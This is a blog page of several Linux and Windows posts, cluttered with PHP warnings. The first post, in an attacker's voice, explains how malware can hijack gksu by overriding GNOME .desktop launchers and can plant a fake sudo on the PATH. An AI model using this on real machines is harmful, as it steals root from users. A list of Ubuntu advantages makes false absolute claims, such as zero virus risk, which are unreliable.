You see, even normal desktop Linux users will occasionally do stuff as root. In the case of Ubuntu, for example, you will use ’sudo’ (or the graphical equivalent gksu) from time to time in order to perform system administration. Maybe to administer users, change the date and time or to install new software. Many items in the System -> Administration menu will prompt you for your password for that reason. By default, the user of a Ubuntu desktop system tends to be in the ‘admin’ group, which in turn is mentioned in /etc/sudoers. Thus, by providing your own password you can perform tasks with root privileges.

So, now how can we take advantage of this? It turns out that the menu items for your Gnome desktop are individually configured somewhere. Maybe we can hack that so that instead of synaptic (the graphical package manager) or any other utility that runs under sudo or gksu) our nice malware is started instead? After the user has provided their password for sudo? But as it turns out, the menu items are defined in a place to which only root has write access. Take a look at /usr/share/applications. In there you find – again – a large number of launcher files. These are defining the various menu items. For example, take a look at synaptic.desktop. You can see there the following line:

Exec=gksu /usr/sbin/synaptic

Yes, so if we could just go ahead and edit that, right? If our malware could go and change that to:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

That would execute our malware with root privileges. Note that we quietly passed the original name of the executable (/usr/sbin/synaptics) to our malware, so that it can start synaptics after it is done permanently giving itself root privileges or doing whatever it wants to do as root. That way the user won’t become suspicious.

But, alas, we can’t edit that file. Out of luck again? Fortunately, no. Gnome is kind enough to see if we might have a local definition of one of those desktop files, which should override the system-wide settings. Those go into ~/.local/share/applications. So, you can simply copy the synaptic.desktop file from /usr/share/applications to ~/.local/share/applications and perform the changes you want on it. Then you just have to sit back and wait for the next time the user starts synaptics and you are in business.

Of course, you don’t have to limit yourself to synaptics. To have a better chance of being executed with root privileges any of the apps in the Administration menu that require gksu are fair game. And frankly, you can probably make similar changes and introduce gksu to many of the menu items in System -> Preferences. As a Ubuntu user you are used to give your password to gksu from time to time. If the user doesn’t pay attention, they won’t even notice that they just were prompted for their password for a utility that never asked for the password before.

And for those users that like to use the shell: Well, in that case the malware can simply mess with your path definition and place a ‘tuned’ version of the ’sudo’ command in your path, which gets executed whenever you type ’sudo’.

As you can see this is not guaranteed to give you root (if the user never uses those programs), but there’s a good chance that you will get it eventually if you are patient.


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

ubuntu.png

Linux Ubuntu is one of my ultimate operating system choices, and trust me it is not for the faint of heart. Though I have not left Windows XP completely (I usually have to switch to it to play games and do some work) but I was always better adapted in the Linux environment because it is very cool and challenging.

For those of you who think that Linux is terrible and Windows rocks, here is my say on why Ubuntu is better than Windows.

  1. No Viruses – Thats true! as Linux does not recognize Win32 Executables so the possibility of having a virus on-board is absolutely 0%
  2. Open Source – Unlike Windows, Linux distributions are open source and the source code can be edited and modified to the most to suit your needs.
  3. Better Learning – While Windows just teaches you how to install and run a program, Linux helps you do that using a Terminal. So if you fall in a situation where you don’t have a GUI, you can operate things well.
  4. Free Software – Every application and software on Linux is free and open source. You don’t need to worry about licenses anymore and you can always find a better and free Linux alternative to a Windows application.
  5. Easy to Use – This point may seem ironic but is true to a lot of extent. Linux Ubuntu is one of the most user-friendly and easy to use Linux distribution which even beats Windows XP and Vista in usability and ease of use.
  6. Ubuntu Community Help – Ubuntu has a very active support and help community where you can get answer to your questions and problems in minutes.
  7. Cool Desktop Effects – For those who think Aero in Windows Vista is damn cool! wait till you experience Compiz on Ubuntu which provides better 3D desktop effects with less resource usage.
  8. Easy Upgrade – You can upgrade Linux Ubuntu through the package manager and all applications can be installed/updated through it. There is no need to Google for freewares as the package manager helps you find all of them.
  9. Highly Customizable – If you like customizing your operating system without a billion registry and software hacks then Ubuntu is your ultimate choice.
  10. Experience Live – Linux Ubuntu CDs come with a pre-installed OS environment which allows you to run the OS without even installing it. Carry your Ubuntu Live CD with you and use it on any PC anywhere around the world.

This may not be all but still these are some of the strong points that tell you how powerful Linux Ubuntu is. It definitely has some bugs and issues but as long as you don’t mingle with commands and updates too much, there shouldn’t be a problem using it.

Ubuntu vs Vista vs Windows 7


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

A lot of people have been chattering about the improvements Windows 7 brings for Windows users, but how does it compare to Ubuntu in real-world tests? We put Ubuntu 8.10, Windows Vista and Windows 7 through their paces in both 32-bit and 64-bit tests to see just how well Ubuntu faces the new contender. And, just for luck, we threw in a few tests using Jaunty Jackalope with ext4.

When Windows users say that Windows 7 is easier to install than ever, what do they really mean? When they say it’s faster, is it just in their heads, or is Microsoft really making big strides forward? And, perhaps most importantly, when Linux benchmarkers show us how screamingly fast ext4 is compared to ext3, how well do those figures actually transfer to end users?

These are the questions we wanted to answer, so we asked Dell to provide us with a high-spec machine to give all the operating systems room to perform to their max. Our test machine packed an Intel Core i7 920, which in layman’s terms has four cores running at 2.67GHz with hyperthreading and 8MB of L3 cache. It also had 6GB of RAM, plus two 500GB of hard drives with 16MB of cache.

The tests we wanted to perform for each operating system were:

  • How long does each operating system take to install?
  • How much disk space was used in the standard install?
  • How long does boot up and shutdown take?
  • How long does it take to copy files from USB to HD, and from HD to HD?
  • How fast can it execute the Richards benchmark?

We also, just for the heck of it, kept track of how many mouse clicks it took to install each OS.

Before we jump into the results, there are a few things we should make clear:

  • To ensure absolute fairness, install time was measured from the moment the computer was turned on until we reached a working desktop.
  • The same computer hardware was used for all tests, and all operating systems were installed fresh for this article.
  • We used the Ultimate versions of Windows Vista and Windows 7, simply because Windows 7 was provided only in this flavour.
  • We used the Windows Vista SP1 disk to accurately reflect what users are likely to experience todaay.
  • Our Windows 7 version is the open beta that Microsoft issued recently. It is probable Windows 7 will be at least this fast in the final build, if not faster.
  • For Ubuntu 9.04 we used the daily build from January 22nd.
  • All operating systems were installed using standard options; nothing was changed.
  • After checking how much space was used during the initial install, each operating system was updated with all available patches before any other tests were performed.
  • Our journalistic friends have informed us that Windows Vista (and, presumably, Windows 7 too) has technology to increase the speed of the system over time as it learns to cache programs intelligently. It also allows users to use flash drives to act as temporary storage to boost speed further. None of our tests are likely to show this technology in action, so please take that into account when reading the results.
  • The filesystem, boot, shutdown and Richards benchmarks were performed three times each then averaged.

And, of course, there’s the most important proviso of all: it is very, very likely that a few tweaks to any of these operating systems could have made a big difference to these results, but we’re not too interested in that – these results reflect what you get you install a plain vanilla OS, like most users do.

Install time

Amount of time taken to install, from machine being turned on to working desktop. Measured in seconds; less is better.

At first glance, you might think that Ubuntu clearly installs far faster than either version of Windows, and while that’s true there is one important mitigation: both Windows Vista and Windows 7 run system benchmarks part-way through the installation to determine the computer’s capabilities.

A bit of a flippant one – just how many mouse clicks does it take to install an OS with the default options?

Surprisingly, Ubuntu 8.10 gets it done with half the clicks of Windows 7. NB: hopefully it’s clear this doesn’t make Ubuntu 8.04 twice as easy to install. Measured in, er, mouse clicks; fewer is better.

Disk space used immediately after a fresh install. Measured in gigabytes; less is better.

While some people might complain that we used the Ultimate editions of both Vista and Windows 7, they probably forget that the standard Ubuntu includes software such as an office suite as standard. NB: Vista failed to detect the network card during install, leaving us without an internet connection until a driver was downloaded on another computer.

Bootup and shutdown

Boot up time was also measured from the moment the machine was turned on, and the timer was stopped as soon as the desktop was reached. The Dell box does take about 20 seconds to get past POST, but to avoid questions about when to start the timer we just started it as soon as the power button was pressed.

Amount of time taken to boot, from machine being turned on to working desktop. Measured in seconds; less is better.

The 32-bit version of Windows 7 is the only one to beat the one-minute mark, but that advantage is quickly lost in the switch to 64-bit. Linux has always been rather slow to boot, but as we understand it reducing boot time is one of the goals of the Ubuntu 9.04 release.

Amount of time taken to shutdown, from button being clicked to machine powering off. Measured in seconds; less is better.

Windows lags a little behind the Linuxes, with 64-bit again proving a sticking point – this time for Windows Vista.

IO testing

To test filesystem performance, we ran four tests: copying large files from USB to HD, copying large files from HD to HD, copying small files from USB to HD, and copying small files from HD to HD. The HD to HD tests copied data from one part of the disk to another as opposed to copying to a different disk. For reference, the large file test comprised 39 files in 1 folder, making 399MB in total; the small file test comprised 2,154 files in 127 folders, making 603MB in total. Each of these tests were done with write caching disabled to ensure the full write had taken place.

Amount of time taken to copy the small files from a USB flash drive to hard disk. Measured in seconds; less is better.
Amount of time taken to copy the small files from one place to another on a single hard disk. Measured in seconds; less is better.

Let us take this opportunity to remind readers that Windows 7 is still at least nine months from release.

Amount of time taken to copy the large files from a USB flash drive to hard disk. Measured in seconds; less is better.
Amount of time taken to copy the large files from one place to another on a single hard disk. Measured in seconds; less is better.

With the exception of Windows 7 while copying larges files around a hard drive, Windows generally suffered compared to Linux in all of these tests. Obviously Windows does have to worry about some things that Linux doesn’t, namely DRM checks, but these figures show a drastic performance difference between the two.

Notes: Vista and Windows 7 really seemed to struggle with copying lots of small files, but clearly it’s something more than a dodgy driver because some of the large-file speeds are incredible in Windows 7.

Both Vista and Windows 7 seemed to introduce random delays when deleting files. For example, about one in three times when deleting the files from our filesystem benchmark, this screen below would appear and do nothing for 25-30 seconds before suddenly springing into action and deleting the files. However, this wasn’t part of our benchmark, so isn’t included in the numbers above.

This was very annoying.

Richards benchmark

Notes: This was done using the cross-platform Python port of Richards. For reference, Ubuntu 8.10 uses Python 2.5.2, Ubuntu 9.04 uses Python 2.5.4, and we used Python 2.5.4 on the Windows tests. Even though the 64-bit results for Linux and Windows don’t look that far apart, we have to admit to being very impressed with the Windows tests – the deviation between tests was just 3ms on Vista, and 5ms on Windows 7, compared to 20ms on Linux.

Amount of time taken to execute the Python Richards benchmark. Measured in milliseconds; less is better.

It’s clear from that graph that having a 64-bit OS can make a real difference in compute-intensive tasks, but it’s not too pleasing to see Windows pip Linux to the post in nearly all results.

Switching to ext4

All the Linux benchmarks above were done using ext3, so what happens when we switch to ext4? Well, not a lot:

Boot, shutdown and filesystem tests for Ubuntu 9.04/x86-64 using ext3 (blue) and ext4 (red). Measured in seconds; less is better.

Although there’s no difference in shutdown speed, the boot time using ext4 dropped by 8 seconds, which is a fair improvement. We can probably discount the the USB to HD tests simply out of error margin, which leaves the HD to HD tests, and there we find a very healthy boost: 3.7 seconds were shaved off the small files test, making ext4 about 25% faster. Our tests also showed an improvement in the large file test, but it’s not as marked.

Conclusions

Benchmarks are always plagued with questions, uncertainties, error margins and other complexities, which is why we’re not going to try to look too deeply into these figures. Obviously we’re Linux users ourselves, but our tests have shown that there are some places where Windows 7 really is making some improvement and that’s good for competition in the long term. However, Linux isn’t sitting still: with ext4 now stable we expect it to be adopted into distros fairly quickly. Sadly it looks like Ubuntu 9.04 won’t be among the first distros to make the switch, so users looking to get the best performance from their Linux boxes will either have to fiddle with the default options, have patience, or jump ship to Fedora – which will be switching to ext4 in the next release..


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

For the last few days, Windows 7 is just about the only OS anyone has been talking about. I figured it was high time for us to share the love and take a look at some other interesting free, downloadable operating systems.

Here’s a collection of 20 that are worth checking out. There are plenty more, so if you’d like to add your favorites, share them in the comments!

Fedora 10 (pictured) – One of the few live distros that didn’t have any trouble with the hardware on my MSI Wind netbook. My acid test: can it properly suspend and wake? Yes – and it does it faster than Windows XP, Vista, or Windows 7. OpenSUSE and Ubuntu both failed to resume properly.

Damn Small Linux
– I wouldn’t feel right not listing Damn Small. It’s pretty amazing what you can do with a whole OS that’s not much bigger than most Windows antivirus applications. 50mb gets you Firefox, XMMS, VNCViewer, MS Office Viewer, and much more. It’s also easily extendable through the MyDSL service or by using the apt command.

Linux Mint - While it’s based on Ubuntu, Mint has some features that I think make it a bit more user-friendly. For starters, there are several easy ways to find and install new software including the dead simple Mint Software Portal. Find an app, click the install button, bada bing!

64 Studio – If you’re into digital content creation of any kind – audio, video, or graphics – 64 Studio is a distro worth downloading. It’s packed full of awesome multimedia apps and, contrary to the name, is available for 32-bit platforms as well.

live.linux-gamers.net - One of the big complaints about Linux is “Where are the games?” If you’d like to see some, why not download a live DVD that contains a truckload that you can run without even installing anything? FPS, racing, platformer, you name it – this disc has it covered.

Slax – This has always been one of my favorite light Linux distros. It’s about 200mb and includes plenty of great apps. It includes a really slick boot option as well: to act as a PXE server, allowing other machines on your LAN to boot Slax over the network.

NimbleX – If you’re looking for a lightweight base to run virtual PCs on, check out NimbleX. It’s the smallest distro I’ve seen that comes with Sun’s Virtual Box. You can even customize your ISO on the web site before you download it if you want. Awesome.

Haiku – Inspired by BeOS, Haiku strives to provide an environment that is simple enough for beginners to use, yet powerful enough for more experienced users to enjoy as well. As they say on their web site, Haiku wants to be “free of unnecessary complexities.” There’s also Zeven OS, a Linux distro with BeOS-inspired visuals.

ReactOS – Definitely an ambitious project, ReactOS is trying to produce a free, non-linux environment that is fully compatible with Windows applications and drivers. It’s got a long way to go, but it’s an interesting project to keep your eye on.

Mac-on-stick – Sure, OSX is pretty and functional, but can it fit on a 32mb flash drive? Mac-on-stick is a complete Mac OS 7.0.1 environment that runs on Windows, Mac, Linux, and even Pocket PC. Use it to run old-school apps or classic games like Dark Castle. It’s also part of the Portableapps.Com suite.

OSX86 – No, there’s no link for this one, gang. I’ve included OSX86 (which you can probably find yourself on any major torrent tracker by searching for kalyway) because it’s an amazing example of what an enthusiastic computing community can accomplish. There’s even a customized version floating around that is tailored for the MSI Wind netbook..

NetBSD – If you’re not interested in trying the Hackintosh thing, why not play around with OS X’s foundations? One of the great things about NetBSD is the amazing number of hardware platforms it can run on, including the Playstation 2 and Sega Dreamcast. You may also want to try Jibbed, a lightweight NetBSD livecd spinoff that runs XFCE4.

Open Solaris – The good folks at Sun play a big part in the development of a pretty mean free OS. Open Solaris is incredibly stable and is designed for reliability and network performance. It makes an excellent foundation for NAS devices and servers.

FreeNAS – Speaking of NAS, if you’ve got an old junker around that you’d like to turn into something useful, FreeNAS is a nice option. It’s a barebones distro based on FreeBSD and is designed to turn old hardware into simple network attached storage.

IE Application Compatibility VPC Images – More free stuff from Microsoft? The VPC images include .vhd files of XP and Vista machines that can be run inside Virtual PC to test applications in different Windows OSes with different versions of IE.

VICE – Again not technically an OS, but I’m not sure anyone is really looking to multiboot the Commodore 64 or VIC20 operating systems. The VICE emulator will also run C128, PLUS4, and PET programs.

GeeXboX – Another great use of an outdated machine is to turn it into a media server/HTPC and GeeXboX is an excellent operating system to power it. There’s even an ISO generator that runs on Mac and Windows that you can use to build a customized GeeXboX disc with different themes, languages, network settings, and more.

Untangle – Untangle is a free, open source gateway that is available as both a full-blown OS and a Windows application. The Windows “app” is a nice option if you don’t have the hardware to spare for a standalone gateway machine.

Ultimate Deployment Appliance
– UDA is a slick VMWare appliance that allows you to easily serve ISO images via a PXE environment. I love it. No more griping about badly scratched Vista or XP install discs, I just boot via the LAN interface instead.

gParted – If you’re using a “questionably legal” solution like Hiren’s Boot CD to manage drive partitions, you should give gParted a try. The interface and functionality is very similar to Partition Magic, and gParted is totally free and open source.

Operating Systems and Airlines


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Different operating systems. Different styles. But what if the quirks and
styles of the different operating systems were applied to AIRLINES? What if airlines ran things the way operating systems do?

This humorous analogy, applying operating system philosophies
as if they were airlines, is a long-standing much-circulated amusing story, and we’d credit the author if we knew who wrote it!

If Operating Systems Ran
The Airlines…

UNIX Airways

Everyone brings one piece of the plane along when they come to the airport. They all go out on the runway and put the plane together piece by piece, arguing non-stop about what kind of plane they are supposed to be building.

Air DOS

Everybody pushes the airplane until it glides, then they jump on and let the plane coast until it hits the ground again. Then they push again, jump on again, and so on…

Mac Airlines

All the stewards, captains, baggage handlers, and ticket agents look and act exactly the same. Every time you ask questions about details, you are gently but firmly told that you don’t need to know, don’t want to know, and everything will be done for you without your ever
having to know, so just shut up.

Windows Air

The terminal is pretty and colourful, with friendly stewards, easy baggage check and boarding, and a smooth take-off. After about 10 minutes in the air, the plane explodes with no warning whatsoever.

Windows NT Air

Just like Windows Air, but costs more, uses much bigger planes,
and takes out all the other aircraft within a 40-mile radius when it explodes.

Windows XP Air

You turn up at the airport,which is under contract to only allow XP
Air planes. All the aircraft are identical, brightly coloured and three times as big as they need to be.
The signs are huge and all point the same way.
Whichever way you go, someone pops up dressed in a cloak and pointed
hat insisting you follow him.
Your luggage and clothes are taken off you and replaced with an XP Air suit and suitcase identical to everyone around you as this is included in the exorbitant ticket cost.
The aircraft will not take off until you have signed a contract.
The inflight entertainment promised turns out to be the same Mickey Mouse cartoon repeated over and over again.
You have to phone your travel agent before you can have a meal or drink.
You are searched regularly throughout the flight.
If you go to the toilet twice or more you get charged for a new ticket.
No matter what destination you booked you will always end up crash landing at Whistler in Canada.

OSX Air:

You enter a white terminal, and all you can see is a woman sitting in the corner behind a white desk, you walk up to get your ticket. She smiles and says “Welcome to OS X Air, please allow us to take your picture”, at which point a camera in the wall you didn’t notice before takes your picture. “Thank you, here is your ticket” You are handed a
minimalistic ticket with your picture at the top, it already has all of your information. A door opens to your right and you walk through. You enter a wide open space with one seat in the middle, you sit, listen to music and watch movies until the end of the flight. You never see any of the other passengers. You land, get off, and you say to yourself “wow, that was really nice, but I feel like something was missing”

Windows Vista Airlines:

You enter a good looking terminal with the largest planes you have ever seen. Every 10 feet a security officer appears and asks you if you are “sure” you want to continue walking to your plane and if you would like to cancel. Not sure what cancel would do, you continue walking and ask the agent at the desk why the planes are so big. After the security
officer making sure you want to ask the question and you want to hear the answer, the agent replies that they are bigger because it makes customers feel better, but the planes are designed to fly twice as slow.
Adding the size helped achieve the slow fly goal.

Once on the plane, every passenger has to be asked individually by the flight attendants if they are sure they want to take this flight. Then it is company policy that the captain asks the passengers collectively the same thing. After answering yes to so many questions, you are punched in the face by some stranger who when he asked “Are you sure you want me to punch you in the face? Cancel or Allow?” you instinctively
say “Allow”.

After takeoff, the pilots realize that the landing gear driver wasn’t updated to work with the new plane. Therefore it is always stuck in the down position. This forces the plane to fly even slower, but the pilots are used to it and continue to fly the planes, hoping that soon the landing gear manufacturer will give out a landing gear driver update.

You arrive at your destination wishing you had used your reward miles with XP airlines rather than trying out this new carrier. A close friend, after hearing your story, mentions that Linux Air is a much better alternative and helps.

Linux Air

http://media.arstechnica.com/news.media/linux-desktop-i-want-to-believe.jpg

Disgruntled employees of all the other OS airlines decide to start their own airline. They build the planes, ticket counters, and pave the runways Themselves. They charge a small fee to cover the cost of printing the ticket, but you can also download and print the
ticket yourself.

When you board the plane, you are given a seat, four bolts, a wrench and a copy of the seat-HOWTO.html. Once settled, the fully adjustable seat is very comfortable, the plane leaves and arrives on time without a single problem, the in-flight meal is wonderful. You try to tell customers of the other airlines about the great trip, but all they can say is, “You had to do what with the seat?”